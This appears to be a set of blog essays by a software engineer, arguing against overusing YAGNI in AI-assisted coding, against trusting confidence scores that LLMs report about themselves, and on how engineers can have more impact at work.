The trap it exists to catch is real. The classic failure mode for people who write code is to sit down and immediately assume you’re going to need every nice abstraction you can imagine. Everything has to be highly scalable and highly parallel out of the box. You can spend a lot of time making premature optimizations and premature abstractions in code that you probably won’t need. I understand that criticism, there’s a real history of engineers going in the opposite direction, being too idealistic about writing super proper code. And in a lot of cases, shipping as fast as possible to get feedback and find product market fit is exactly the right call.

But I think we’ve gone too far in the YAGNI direction, especially in the world of AI. I see it in a lot of the programmers I work with, and I’m watching the whole conversation re-emerge in AI coding circles in a form I find counterproductive (more on that below). I also think it works against the things that make a good engineer good.

The Load-Bearing Word Is “Gonna”

If you actually read Fowler’s writeup on YAGNI, he and Beck are more careful than the acronym’s popular usage. Beck’s formulation is to implement things when you actually need them, never because you foresee needing them. Fowler scopes the whole principle to presumptive features: capabilities you’re building on a guess. Which means YAGNI turns entirely on a prediction. It’s only a violation if you weren’t going to need it, and the acronym is (grammatically speaking) a confident forecast about the future.

So the interesting question, the one the acronym skips right past, is this: what’s your framework for knowing whether you’re going to need it?

That framework is wildly different depending on where you sit. If you’re bootstrapping a startup, you genuinely don’t know much yet (you may not even know whether you have customers), so lean into YAGNI and build only what you need to get feedback and chase product market fit. Totally cool. But if you’re like me and you work at a large company, the calculus shifts. I often already know a certain level of scale ahead of time (it’s a floor set by the size of the business, not a hope). I know the thing I’m building will be worked on by multiple engineers. When those facts are known, planning for them isn’t speculation. It’s just reading the requirements.

Fowler is also careful about scope in a way that gets dropped constantly in practice: YAGNI applies to capabilities built to support a presumptive feature, and it explicitly does not apply to effort spent making the software easier to modify. Notice which direction that carve-out runs. “We don’t need that abstraction yet” is almost always said about the modifiability work, which is the exact work Fowler exempts.

I don’t want to be pompous about this. But I do think there’s a lot to be said for spending a few cycles critically thinking about the proper abstractions and primitives you need for something you’re working on, in a way that makes your life (and the lives of the developers around you) easier. Part of engineering is being able to decompose difficult, complex problems into approachable chunks, and I think good engineers are anticipatory. That anticipation is a skill, not a vice.

Optimizations and Abstractions Are Different Sins

I want to be precise about where I’m pushing back, because I’m not defending premature everything.

Premature optimization? I’m mostly still with the consensus. Writing prematurely optimized code (the clever caching layer, the hand-tuning for load you don’t have) is unnecessary in a lot of cases, and profiling will tell you where the real bottlenecks are when you get there.

Premature abstraction is where I part ways, because I don’t think abstraction is the same kind of speculation. The cleanest code I’ve worked in is what I’d call atomically abstracted: everything is an input contract, some logic operating on that input, and an output contract describing what comes out. If you think of all your code as a series of those flows, it keeps your intuition about the system strong. Higher-level abstractions are how you maintain the intelligibility of that framework as you take on greater layers of complexity. A good abstraction isn’t speculative weight; it’s the thing keeping the system legible enough to change. And that loops right back to Fowler, who notes that YAGNI is only a viable strategy if the code is easy to change. Well-chosen abstractions are a large part of what makes code easy to change.

Sight Reading

Here’s the analogy I keep coming back to. I’m a musician, and I grew up as a band kid, so we did competitions. One of the things you do in those competitions is sight reading. For those not familiar: you and your group are handed a piece of sheet music, and you’re not allowed to practice it or work out your parts. You get a few minutes to read it, and then you’re expected to perform it on the fly and be judged on how musically you follow the piece.

I remember a seminar at what I believe was the Santa Cruz Jazz Festival where the instructor talked about the value of sight reading. He asked how many of us liked to play music, and we all raised our hands. He asked how much we liked playing in front of people, and we all raised our hands again. Then he asked how many of us loved to practice. Some hands went up. Not everyone’s.

His point was that sight reading makes you a better musician because it compresses the loop. It helps you learn pieces faster, and music in general faster, and it gets you to the point where you can pick up something new and perform it at performance level.

Now think about the arc of an engineering career. A lot of junior engineers are not great, and they can be slow. As you move into mid-level you get a little better and a little faster. And as you move up, there’s a matrix effect between how good your code is and how fast you can produce it. In my mind, the theoretical maximum engineer is someone who can take a problem at zero and write totally production-ready, scalable code on the first try, faster than anyone else. Nobody fully gets there, but that’s the direction the best engineers are heading, and by my definition good code includes the properly chosen abstractions that make your life easier as you build out whatever you’re working on.

I think the best engineers are sight reading their code. What I mean is that when they’re decomposing a problem, the question isn’t just can I play these notes. It isn’t even can I play the right notes. It’s can I play these notes musically, in a way that’s sonically pleasing. The same is true of code. The best engineers draw on their experience, their intuition, and their technical knowledge to pattern match: this element of the code is something it would be useful to abstract early, this other area probably not. They’re writing near-production code on the first pass, they’re doing it quickly, and they know when to make the trade between “you aren’t gonna need it” and “you probably are going to need it.”

Here’s the part of the analogy I care most about, though: YAGNI is, in some ways, the antithesis of flair. I can synthesize any note I want at the perfectly correct frequency, in perfect tuning, and stack those notes together. That doesn’t mean I’m making music. Music lives in the dynamics, the intensity, the space between the notes. Some of the most stylistic musicians are doing things slightly wrong on purpose. Pocket drummers sit just behind the beat to create that lazy, groovy feel; more driving drummers sit on top of the beat and push the song at an aggressive pace. Neither is metronome-perfect, and how you shift that placement changes the whole feel of the song. On a woodwind, the amount of air you give a note changes its entire character.

Code has the same margin, and I think that margin is where craft lives (I’d argue software engineering is both craft and science). A certain degree of elegance in how a system is decomposed is part of what makes great code great, the same way dynamics are part of what makes music music. If you train yourself under a hard YAGNI default, you’re practicing to a standard of “did I technically hit the notes,” and I think you fail to build some important muscles that way. Part of the muscle of choosing good abstractions is having paid the cost of choosing bad ones. AI has drastically lowered that tuition (more on this in a minute), which to me is an argument for practicing the skill more, not less.

Betting on Two Primitives

I’ll give a concrete example, and I’m going to keep the specifics somewhat generic.

I was recently working on a pipeline for an AI automation use case. We use Tangle at Shopify (which is open source), and as a side note from my past data engineering experience, I’ve been genuinely impressed with it. I’m not just shilling for my employer here. The content-based caching per task is really sweet, and it’s saved me the pain of building caching that I’ve otherwise had to build myself in Airflow or in custom solutions.

Tangle works on a component pattern (components get composed into pipelines), so one of the conversations we kept having as we started this new effort was how to build it. There was a real emphasis on speed. We wanted to move fast, and there was a healthy dose of YAGNI in those conversations.

I spent a lot of time thinking about what our core primitives actually were, and I landed on two.

The first was retrieving data from a data store in an abstracted way, so that you weren’t writing custom Python every time you needed data. You configure the component against your data store, configure a query, and get your data back as a Tangle manifest so it can be used in the pipeline.

The second was scaling a large number of agent tasks. We have some internal infrastructure that makes this easier, but I wanted a heavily abstracted component around how we fan work out to a large number of agent sessions.

The bet was that spending a couple of extra cycles making these primitives easy to use would be an accelerant, because we already knew out of the gate that we were going to build a series of pipelines to support this automation effort. This was never going to be one pipeline.

Then we had to make an infrastructure pivot. We had assumed one internal solution and moved to a different one, and it turned out the new one had a capability we hadn’t been aware of when we designed the highly parallel agent session architecture. Because we already had that abstracted component, I was able to build a POC extremely quickly, and then we were able to scale on top of it just as quickly. Scaling had been the hard part with the original architecture. It was straining at a few dozen concurrent tasks. We’re currently testing at a scale roughly thirty times that.

That’s the payoff I was after. Rather than looking for the shortest path to getting something out, I did a bit of critical thinking and problem solving up front to engineer something that’s scalable and elegant for extension.

And the anticipation wasn’t really a guess. Over the last few years I’ve built a number of architectures shaped like this: how do I churn through a bunch of data using agents, reliably and at scale? Drawing on that experience, I recognized that the pattern wasn’t unique to this one pipeline, and honestly it wasn’t unique to this project either. Take data, feed it to a large number of parallel agents that operate over that data, collect the results, then do something with the results. That’s a pattern worth accelerating.

I had some real discussions with other engineers about whether this was premature optimization, and I felt convicted that it wasn’t (based on my experience and on what we knew we had coming). I think it’s already paid off. To be clear, I don’t think this example refutes Fowler. I think Fowler would have signed off on it, because I knew this was never going to be one pipeline. The investment wasn’t a presumptive feature; it was the roadmap. The reason I bring it up is that the YAGNI I hear in real conversations would have talked me out of it anyway.

The YAGNI I Actually Encounter

That’s the gap I keep running into: the theoretical version of YAGNI and the applied version are not the same thing. In the wild, YAGNI mostly shows up as “write the absolutely most basic code for the first thing, and we’ll find out if we need more.” That works exactly as designed if you actually get the follow-on cycles, because YAGNI is allied to agile. The whole model presumes your abstractions will keep changing as the business requirements change, and that you’ll be there refactoring when they do.

I’ve worked on enough projects to know that presumption often doesn’t hold. Somebody has a business requirement, you implement the requirement, and then they move on (usually to a completely different thing). You work on something for a sprint or two, it ships to production, and the organization has no appetite for spending cycles heavily iterating the base logic. That only happens when it absolutely has to. There is no backlog ticket six sprints out to go correct your abstractions. The code you shipped is the code somebody maintains, and extends, for years.

In that world, I’d rather invest a little more time up front to get the abstractions right and minimize the downstream iteration I know is never going to be funded. I get that this is a little anti-agile, and maybe I’m over-indexing on the scenarios I’ve personally lived through. But if the actual deal is one or two sprints and then everyone moves on, “wait until you need it” is a bad trade, because the moment when you’d act on the need never arrives.

Prompting Against the Grain

Which brings me to AI, because AI is why this debate re-ignited, and it’s where I think the misapplication is sharpest.

If you’ve spent time with coding agents, you know they tend to write verbose and often over-abstracted code by default. A whole genre of tooling has emerged to fight that. The most viral example is Ponytail, the agent skill that promises to make your model “reason like the laziest senior developer in the room” (it picked up over 44,000 GitHub stars in nine days, though its headline claim of 80 to 94 percent less code was later revised down to 54 percent after a contributor challenged the benchmark). It’s YAGNI, operationalized as a prompt.

I understand the appeal. But step back and look at what we’re doing: these models are tuned to write abstracted code, and we’re burning effort prompting them out of their strength instead of leaning into it. My argument is that we should consider the opposite. The model is good at writing abstractions, so I want to be the one deciding which abstractions it writes. I drive the decomposition, I’m opinionated about the primitives and the contracts, and the agent implements them (which it’s genuinely good at). And the speed of AI iteration means that even when one of my abstractions turns out to be premature, the cost of unwinding it is a fraction of what it used to be.

That last point is worth making precise, because Fowler’s case for YAGNI is an economic one. He names the costs of a presumptive feature: the cost of build, the cost of delay, the cost of carry, and the cost of repair. Now look at what AI has done to that ledger. The cost of build has collapsed. The cost of repair has shrunk enormously (refactoring with an agent is fast and cheap). The cost of delay barely applies when the abstraction takes an afternoon instead of a month. What’s left is the cost of carry, and a well-chosen abstraction’s carrying cost is low. That’s what makes it well-chosen. The costs YAGNI guards against are exactly the costs AI has reduced the most. The principle isn’t wrong; the economics changed.

So if the cost of a better abstraction is you spending a few brain cycles specifying it more precisely to your agent, the trade-off is far, far cheaper than it’s ever been. This is why I think there’s actually less of an excuse for writing low-quality code now than there was before (which sounds crazy in a world where people are lobbing AI slop grenades at each other). Because AI lets you iterate so fast, and because it does a pretty good job of implementing your ideas, it affords you more space to think critically about the systems you’re building and the code you’re writing.

It just requires a little more self-discipline to actually use that space, rather than pulling the roulette wheel of the agent (throwing things at it and hoping good output comes back). The way I look at it, the agent helps with implementation and it helps with discovery, especially working through existing codebases or unfamiliar frameworks. The thinking about what to build, and what shape it should take, is still mine.

I’ve written before that we infantilized programmers. For those of us who consider ourselves software engineers, who believe in applying real engineering principles to the work and holding ourselves to that standard, I think falling too far into YAGNI is dangerous and counterproductive.

Where I Land

As with everything I write, this is just my perspective. It may change over time, and I may be wrong. That’s fine with me, and I’m open to the alternative.

I also don’t have a clean rule for when to abstract and when not to, and I don’t think one exists (cough rule of three cough). That’s part of why “you aren’t gonna need it” is so appealing as a default (it’s a rule, and rules are easier than judgment). What I’d push back on is treating it as the thing you do until proven otherwise, which is the framework I think a lot of engineers, and now a lot of agent skills, are operating under.

There’s something to be said for the art of picking good abstractions and writing high-quality code, and a reflexive YAGNI can be detrimental to developing the engineer who is both good and fast. It’s the equivalent of playing the notes with no dynamics and no flair. The notes are right. It just isn’t music.

If someone sent you this post, you have probably tried to extrude a confidence score out of an LLM.

I’ve now had this conversation at multiple companies with multiple people, and I’ve had it enough times that it seems like there’s a broader misunderstanding at work here. So my hope is that I can just send people this post instead of relitigating it in a thread every six months.

The short version: asking an LLM to generate a score for how confident it is in its own response is, from everything I can tell, completely useless.

I want to be upfront that I’d love to be wrong about this. There are people much, much smarter than me working in this space (and I work with many of them!). If you can rebut any of the arguments below, or point me at research I haven’t read, I would genuinely enjoy that conversation. But absent that, these are my current thoughts as I understand them.

What I Keep Seeing

The pattern shows up everywhere. Chat-based outputs, structured outputs, agentic task results. Someone wants the model to hand back a JSON object with a response key and a confidence key. And more often than not, that confidence key is a continuous score from 0 to 100.

That continuous scale is what really grinds my gears, and I’ll come back to why. But the broader problem is that there’s no scientific validity behind any of it. What you have built is a psychological safety trick. It makes the output feel more trustworthy without making it more trustworthy, and I’d argue the people shipping this experience are mostly lying to themselves about what they’ve shipped.

LLMs Cannot Reliably Quantify Their Own Confidence

I recognize that Anthropic and others have published research arguing that models maintain some kind of latent internal state while they generate. Anthropic’s interpretability work on tracing the thoughts of a language model found that Claude plans several words ahead when writing a rhyming couplet, which is not the behavior you’d predict from a naive next-token story. And their more recent work on emergent introspective awareness found that models can sometimes notice concepts injected into their activations and report on them accurately.

That’s real, and it’s interesting. But read the caveat the researchers themselves put on it: the capability is highly unreliable and highly context-dependent. We do not currently have a strong enough understanding of that internal state to assert that models have any usable ability to assess their own correctness. Noticing that something was injected into your activations under laboratory conditions is a very long way from quantifying how likely your paragraph about a customer’s refund policy is to be right.

If we think about what’s happening under the hood, there is some quasi-cognition going on in the sense of symbolic relationships between aspects of language. With reasoning models, there’s some observation of that process happening too. But this is where the whole thing collapses for me, because it immediately regresses into a who-watches-the-watchmen problem.

Say we want to tap into the thinking trace and use it to evaluate the self-correctness of a response. Fine. That approach has yielded real performance benefits, and I don’t dispute those. But if we’re talking about actually quantifying confidence, the thinking step can’t rescue us, because the obvious next question is: what’s the confidence of the confidence score produced by my thinking step? And then what’s the confidence of that? It’s confidence all the way down.

Do I think reflective reasoning patterns help models catch some of their own errors? Yes. Do I think models currently have a sufficient understanding of their own state to quantify that? No. It’s also worth noting that the research on intrinsic self-correction is not especially encouraging on this front. The DeepMind paper Large Language Models Cannot Self-Correct Reasoning Yet found that when models attempt to correct their initial responses using only their inherent capabilities, without external feedback, performance often degrades.

Confident of What, Exactly?

Here’s the question I now ask immediately whenever someone requests a confidence score: what is your heuristic for confidence?

Because “confidence” gets ambiguous extremely fast. Not slightly ambiguous. Extremely.

Is the model confident in the correctness of the response? In the coherence of the response? That it has attempted to fulfill the goal of the user’s request? Those are three completely different questions with three completely different failure modes, and a single float between 0 and 100 flattens all of them into the same number. Absent some heuristic that bounds the concept, these scores are effectively useless.

Confidence Isn’t Uniform Across a Response

There’s another problem with treating this as a single number, and it goes back to internal state.

In traditional machine learning, we have real mechanisms for this. A classifier can output a score that at least serves as a legitimate proxy for confidence, and in a regression setting you can put a prediction interval around an estimate.

I want to be careful with that comparison, because classical models don’t hand you a trustworthy number for free either. Guo et al. showed in On Calibration of Modern Neural Networks that modern networks are systematically overconfident, and that raw softmax outputs need post-hoc correction. The difference is that we have an agreed-upon methodology for doing that correction. Platt scaling, isotonic regression, temperature scaling, all fit against held-out ground truth and checked with reliability diagrams and Brier scores. The number earns trust by being measured against reality, and we have a way to check whether that measurement still holds.

That machinery is exactly what’s missing when someone adds a confidence key to a JSON schema. The closest analog an LLM has natively is the predicted likelihood of each next token.

As a side note, I think “LLMs just lossily predict the next token” has become a real oversimplification of where these systems are, especially once you account for reasoning, adaptive thinking, post-training, and the classifiers running on top of the response. But set that aside and take the most simplistic version.

Even there, the problem is that tokens are not uniform. If I’m generating the first hundred words of a response, every single token has its own likelihood value. Some of those are structural glue with near-certain probabilities. Some of them are the load-bearing factual claim in the entire paragraph. Collapsing that distribution into one number that the model then verbalizes is not a measurement. It’s a vibe.

This isn’t just my intuition. It’s the reason an entire research line exists to route around raw token probabilities. Semantic entropy, introduced by Farquhar et al. in Nature, samples a model repeatedly, clusters the responses by meaning rather than by wording, and measures the entropy across those meaning clusters. The reason to go to that trouble is that token-level likelihood conflates I could have phrased this five different ways with I don’t actually know this. And note what the method requires: multiple samples and an external comparison step. It’s a measurement performed on the model from the outside, not a number the model reports about itself.

I’ve gone looking, and from every piece of research I’ve been able to find, I can’t locate a scenario where these self-reported scores demonstrate the kind of validity people assume they have when they put them in a JSON schema.

If You Really Wanted One, Here’s the Work

I want to be clear that I’m not claiming it’s impossible to get some reliable indication of confidence out of an LLM. I’m claiming that nobody I’ve met wants it badly enough to do the work required.

That work would look something like this. You’d need a strong prompt calibration process in which you define actual heuristics for the model to self-classify against, preferably across a small set of categorical labels rather than a continuous 0-to-100 scale. Then you’d need a lot of calibration and prompt optimization to demonstrate, over some sufficiently large n of responses, that the scores are actually truthy.

The research here is more supportive than my general position might suggest, and I want to represent it fairly. Lin et al. showed in Teaching Models to Express Their Uncertainty in Words that a model can be trained to emit calibrated verbal confidence, though notably they fine-tuned on a purpose-built task distribution to get there. Tian et al. found in Just Ask for Calibration that with the right prompting strategy, RLHF’d models verbalize probabilities that are better calibrated than the model’s own conditional probabilities, and that prompting plus temperature scaling can cut expected calibration error by more than half. And Anthropic’s Language Models (Mostly) Know What They Know found encouraging results asking models to estimate the probability that their own proposed answer is true.

These are the strongest counters to my argument I can find. But if you look at the caveats that come with these approaches (fine-tuning, or a deliberately chosen prompting strategy, or a constrained answer format, or explicit post-hoc scaling), that’s the extra work you have to do that you don’t get out of the box. It is not what happens when you add "confidence": number to a Pydantic model and ship it.

Meanwhile, the argument for categorical over continuous keeps getting stronger. Xiong et al.’s empirical evaluation of confidence elicitation documented how badly overconfident verbalized scores tend to be. And a paper from earlier this year, Rescaling Confidence: What Scale Design Reveals About LLM Metacognition, found something I find genuinely damning: models don’t use the 0-to-100 scale as a continuous spectrum at all. They cluster on round-number anchors. Across six models, more than 78% of responses landed on just three values, with one model reporting exactly 100 on 68% of instances. Coarser scales performed better on metacognitive sensitivity than the 0-to-100 baseline.

So the continuous score that everyone reaches for first is the one with the least support in the literature. If you’re going to do this at all, the label set should be small and the categories should mean something specific that you defined.

Which brings me to a related gripe. LLMs do function decently as ad hoc classifiers, and I’ll grant that. But I think reaching for one is usually a lazy approach. It’s great for labeling synthetic data or for genuinely ad hoc work where you’re not strict on the success criteria. For anything serious in production, I’d much rather train a classical classifier, even if I use an LLM to help bootstrap the training data. And note that if you go the categorical-confidence route, you’re right back to needing humans to define the heuristics behind each label anyway.

Confidence Is Almost Always a Proxy for Correctness

At least the way I’ve seen it used in practice, “confidence” is really a stand-in for correctness, or for certainty. Which makes it another variation of the factuality and grounding problem wearing a different hat.

Case in point: most of the examples I encounter are RAG use cases. Somebody wants the model to indicate whether it’s confident it retrieved the right documents, pulled the data it actually needed, and that its response is accurate to what it pulled. It’s being used as a trust signal.

Here’s where I think that gets genuinely risky, and it’s not the objection people expect. A big part of the value of an LLM in a retrieval system is synthesis. Suppose we perfectly tuned a confidence score where the heuristic was “every explicit fact in this response is grounded in a retrieved document.” Optimizing hard toward that score would reduce the model’s willingness to synthesize across sources. Yes, ideally you’d end up with a set of verified facts and the model could still draw assertions between them. But I’ve seen enough side effects from prompt optimization that I’d be skeptical of overtuning toward aggressively cited factuality, because a lot of the value is the model inferring across retrieved context and its training data to get somewhere neither one contained on its own.

There’s also a cost problem hiding in that heuristic. If correctness means “cited in an external source,” how do you validate a fact that came from training data? You end up spending retrieval calls on things that are self-evident. I don’t want my LLM making a web search call to find out whether the sky is blue. That’s a waste of my time and a waste of my tokens.

I’d expect a model’s training data to be strong enough that if I asked it to check the claims in its own response, it could handle “the sky is blue” without assistance. Absent some ecological phenomenon, or chemical/biological warfare, that one is settled. Where it gets genuinely hard is specific business logic for a process the model has been asked to operate inside of, and that’s exactly where you start losing the synthesis and the intuition that made the model useful in the first place.

Every Line of a Prompt Is a Liability

I want to take a detour, because this is the part I think people underestimate most.

At this point I’ve been working on LLM experiences for several years, and I cannot tell you how many times I’ve watched a team go off the rails by tuning a prompt to correct a specific issue and overcorrecting straight past the target.

One example sticks with me. In one of our support experiences, we had a problem where the LLM wasn’t reliably finding the documents that detailed our escalation process. So we did some prompt optimization against some ad hoc evals to correct it. And we shifted it so far that the model then often found an escalation path immediately, without ever considering what our frontline advisors could resolve themselves. We’d spent months responding to feedback to produce a system that had learned exactly the wrong lesson.

I laugh about it now, but it’s the example that made something click for me. Much like how every line of code is a liability, every line of a prompt is a liability, because each one expands the latent space around the outcome you’re trying to drive. Models are as good at inferring the space around what you didn’t say as they are at adhering to what you did.

Absent a sufficiently holistic, goal-oriented rubric that grounds your optimization process in overall answer quality, targeted prompt fixes tend to produce exactly this kind of pendulum swing.

This is a big part of why I now try to write the most minimal prompts I can get away with. Partly because minimal prompts let me evaluate the actual causal capability of a given model rather than measuring how well I’ve tuned around it. That’s the persistent downside of aggressive prompt optimization: you’re optimizing against a specific model and architecture, so swapping models becomes a project. This has gotten much better, to be fair. Compared to the GPT-4o days, where changing providers meant substantial rework, today’s models are forgiving enough that you can often drop in a replacement. But the effect hasn’t disappeared, even between model sizes within a single provider. Moving between Sonnet and Opus can still surface places where you’ve overfit. Mostly, though, minimal prompts help me avoid the overcorrection problem before it starts.

All of which is to say: the path to a reliable confidence score runs directly through the kind of prompt optimization that I’ve watched produce bad second- and third-order effects over and over.

If the Model Knows It’s Wrong, I Want It to Fix It

This is the argument I keep coming back to, and I think it’s the one that actually settles it.

If a model is aware that it has an ungrounded assertion in its response, I would much rather it stay in its tool loop, go find a source for that claim, or drop the claim entirely, and then hand me the response. What good does it do me for the model to be aware of its own incorrectness and ship it anyway with a sticker on it?

If the model is aware enough to know something is wrong, just correct it. If it isn’t, then the confidence score it’s giving me is not measuring anything.

There’s no third option that I can see. Which is why I don’t think these scores do anything for reliability. They serve as a psychological tool for the humans reading the output, and that’s a different product requirement than the one people think they’re solving.

The Actual Work Is Search

If your confidence score is a proxy for correctness, and your correctness heuristic is grounding in retrieved sources, then what you actually have is a retrieval problem. So put the energy there.

I don’t think this is a solved problem at any level of the industry, and I want to be clear that I’m not just talking about the systems I’ve worked on. I see it in commercially available frontier products. I see it in deep research features and web search features from the labs themselves. I see it in Perplexity. The other day I was using ChatGPT to research BBQ competitions. I asked it about entry deadlines and it returned one from 2024, with a cited source. Not a subtle failure. And the question I’m left with isn’t “why didn’t the model tell me it was unsure.” It’s why, in its search and in its selection of which documents to trust, it made an obviously wrong choice.

A model’s retrieval is only as good as the information fed into it and the quality of the search it performs. That’s where I’d spend the effort.

I’d also push back gently on the framing that motivates a lot of these requests. Mikhail Parakhin, Shopify’s CTO, has made a point a couple of times when I’ve heard him speak, both internally and externally, that we only call things hallucinations when they’re wrong. Otherwise, when the output is what we wanted, we call it creativity. He’s been making that argument publicly since his Bing days. It’s the same mechanism producing both, and that’s worth sitting with before you go optimizing it out.

Sometimes it feels like what people really want out of these RAG systems is the thing we had before. I built chatbots back in 2017 when everything was intent-based (shoutout to the Covered California chatbot back in the day, IYKYK), and you’d try to enumerate the whole spectrum of possible user intents and map each one to a specific condition. You could wire those intents through something like Microsoft’s LUIS into a knowledge management tool and retrieve specific, cited information every time. Deterministic and auditable, and also brittle and incapable of anything you hadn’t anticipated. I understand the pull. It’s hard to trust a system that can be wrong in ways you didn’t enumerate. But asking for a confidence score is trying to buy back that determinism with a number the model made up.

Things Move Fast

So, in conclusion: I struggle to see the value in getting a model to output a confidence score, and I struggle to see a way to have it do so reliably. There may be a version of this that works with serious prompt calibration and a small set of well-defined categorical labels, but I think the second- and third-order effects of that calibration would likely be negative, and I’ve yet to meet anyone who wanted the score badly enough to find out. And as you scrutinize what you actually intend to do with the number, the whole thing tends to fall apart under a bit of critical logic.

Like I say in most writings where I make an argument, I’m super open to being wrong here, so if you’ve got the paper that changes my mind, please send it.

I’ve spent most of the last several years in roles where growing other people is part of the job. As a manager and a director, that came with the formal HR responsibility of advocating for someone’s career. As a staff engineer, it’s an expectation even without the org chart backing it up. It’s the thing I like most about higher-level roles: the expectation is baked in, and there are usually formal practices that support it.

I’ve always gravitated toward this. It’s why I speak at CS career events at local universities, why I’ll help people with their resumes, and why, after debating in undergrad, I spent three or four years as an unpaid volunteer assistant coach at Sacramento State. The organizations and people who invested in me to get me where I am created a debt I feel I owe back. You pay it forward.

Lately a theme has come up in conversation after conversation. Shopify is a very impact-driven culture, which I appreciate, but it also means people are hungry about what goes on their impact reviews. Coming out of a review cycle, everyone is cognizant of the real impact they’ve driven. So I’ve been talking with a lot of people lately (mentees, colleagues, new interns, current CS students), and the question almost always boils down to the same thing: how do I get myself into a position where I have real impact, where I have a seat at the table, and where I can point to direct outcomes from my work?

It’s a question I’ve heard for my entire career. What’s different now is the anxiety underneath it. The only way I can describe it is a kind of existential unease, like we’re in the middle of negotiating a new social contract for the programming profession.

The Old Contract, and the Roles We Built Around It

Let me use “programming” here as the broad umbrella. There are real distinctions inside it. As a side note, while the term “software engineer” has been completely diluted in the US, other places have stronger protections on who gets to call themselves an engineer. I’d argue there’s a real difference between a software engineer, a developer, and a programmer in terms of the actual role. All software engineers are programmers; not all programmers are developers or software engineers.

The old contract went something like this: you either taught yourself, learned some complicated concepts, and proved you could ship working code, or you went through a university education and proved you could handle some above-average math, some difficult algorithmic and data structure work, a few languages, and the structured reasoning that comes with it. Because the barrier to entry was real, you could carve out a solid career being rewarded for executing a spec.

I remember a lot of conversations about this, especially at a startup where we were building out roles. The operating assumption was that the highest-value thing a person with a programming title could do was sit hands-on-keyboard and write code. So as an industry we built up a set of ancillary roles whose job was essentially to keep programmers from doing anything but program.

You see it in product management. Good product managers make my life substantially easier, and I’ve said that for years. The problem is the average product manager just isn’t very good. More than almost any role, product management has a deeply subjective definition of success. It’s subjective to the time period you’re working in, to the technical capabilities of the industry at that moment, and to your ability to thread the needle between what’s easily executable and what’s actually possible. I’ve worked with brilliant PMs who explore the whole product space and bring a strongly reasoned perspective I could genuinely collaborate with. I’ve also worked with PMs who were a lossy translation layer and not much else.

The same pattern shows up elsewhere: enterprise project management, which is partly an artifact of inefficient corporate structures, and even the dedicated scrum master, which was in vogue for a while specifically to take the burden of self-organization off of engineers.

Code Is Table Stakes Now

Here’s the irony: in 2026, the ability to execute on code is no longer the most valuable thing a software engineer brings to the table.

I’ve watched this happen in real time. First at the insurance company (a classical non-tech enterprise shop with a lot of corporate process) and now at Shopify (a big tech company with cultural principles built around moving fast). The most effective engineers I see, the ones rocketing up and having the largest impact, still have strong technical chops; I don’t think that value has gone away. But they’re also the ones driving strong ideation, who have a real product understanding, and who are opinionated about the product they’re building, not just the code they’re writing to build it.

That distinction matters enormously, especially for junior engineers, because the two things are symbiotic. I’ve always believed the engineers with better product understanding write better code, because they can match the abstractions in their code to the abstraction decisions in the product itself. That’s how you get elegant codebases that are easy to extend, modify, and maintain.

Because we can theoretically move so fast now, some of the traditional corporate scaffolding is breaking down. I’ve been at Shopify just under a year and I’ve already seen a transformation in our GSD process (Get Shit Done) and how tightly we adhere to its formal structure. The process can’t always keep up with empowered teams that sit close to the product and move very quickly.

I’ll add a caveat, because I think it matters. We’re entering a world where anyone can pull the roulette wheel of agentic coding. I still believe good engineers flavor the output of agentic engineering, but the models are good enough now that I’ve watched non-technical people get decent code out of genuinely crummy, undirected prompts. I’ve also watched junior engineers treat it like a roulette wheel, which is a different problem for a different day. Either way, in big tech and probably even more so in startups, you’re going to have the largest impact by being more than just a programmer. Your programming skill becomes an amplifier of your ability to be opinionated about the product and to organize the execution of a project.

We Infantilized Programmers

I know what some people are thinking. We’re collapsing a bunch of roles into the software engineer and raising expectations for no additional pay. Maybe there’s a fair criticism there.

But I think the premise is wrong. The view that multiple roles are collapsing into software engineering assumes we were right to strip those expectations out in the first place. I’d argue we weren’t. I think we hyper-optimized the software engineering role into a pure programming role, and in doing so we did a lot of engineers a disservice. Instead of complete professionals who understand the product end to end and can organize themselves, we built code jockeys. That’s part of the struggle now.

And to be clear, I love writing code. I love the feeling of building an elegant interface for an application, of hunting down a bug, of squeezing performance out of something slow. I loved getting data pipelines down to subsecond latencies across a large number of threads. I loved digging into the innards of Pandas to figure out how to parallelize operations across DataFrames safely. I loved restructuring our ML approaches to take advantage of a distributed training environment. I enjoyed all of those problems.

But like most things as an industry matures, these things become table stakes, and you have to move up a level of abstraction.

The Part That’s Hard to Teach

Even when I was deep in the code, I was always curious (some would say precocious) about everything around it, because those things affected my efficacy as an engineer.

Poor project management caused inefficiencies that hurt my ability to know what to execute on. I remember one situation vividly. Our reporting was focused on building fancy dashboards for executive presentations rather than reflecting reality, so engineers would keep building while reports got assembled over two or three days. By the time it reached the executive at the end of the week, the question was: why aren’t the engineers further along? After answering that enough times, I decided I needed to be opinionated about project management and tie those processes directly into how we tracked progress in the code, so I could describe accurately and quickly where we actually were. Our project managers appreciated engineers owning more of the reporting, and the meetings got more honest. We could finally talk about real blockers.

I was the same way about product. At that startup we had two product components that made a lot of sense to bridge once we started extending into API interfaces, trying to make some of our data services self-serve and cut down the manual reporting effort. I dove into the backend to understand how the product was actually being used, found the right integration points for those data services, and identified product abstractions we could reuse to enable self-service. The result was a better experience for customers and a more capable product, because nobody had to babysit a manual flow just to get data in for analysis.

These are hard things to teach. I wish I could rip the precociousness out of my own head and implant it in the junior engineers I work with. I can’t. The best I can do is describe what I see: the frameworks that have worked for me, and the patterns I notice in the people who are elevated within my company and the industry.

There’s one engineer I work with who I think about a lot. They take an extremely high degree of ownership, they’re opinionated about the product, and they really help organize the team. They’re a software engineer, but their impact on the business is very high. Having been a director in a thirty-person engineering org, I can tell you that’s the difference. The engineers who become a cornerstone of your team (the sticky ones) are the ones with outsized impact on the process, the business, and the people around them. The good coders who just pull tickets off the board and execute them always became question marks, and in some cases they unfortunately became layoff targets. That gets amplified when good engineers can produce decent code with AI very quickly. The edge moves to the ability to synthesize your knowledge and experience, to see across the stack and across the organization in ways we can’t currently encode in a prompt, and to produce something novel out of it.

Dress for the Job You Want

The more of these conversations I have, the more I notice that some people just seem to come out of the box with it: the organizational skills, the follow-up, the communication, the ownership. It would be easy to file those under the same heading as precociousness, as things you either have or you don’t. But I was trying to explain to a junior developer I mentor that there’s an old saying about dressing for the job you want, not the job you have. I’m sure HR gets sick of me dressing up as Batman, but outside of the cliche and the jokes, I think there’s some reality to it.

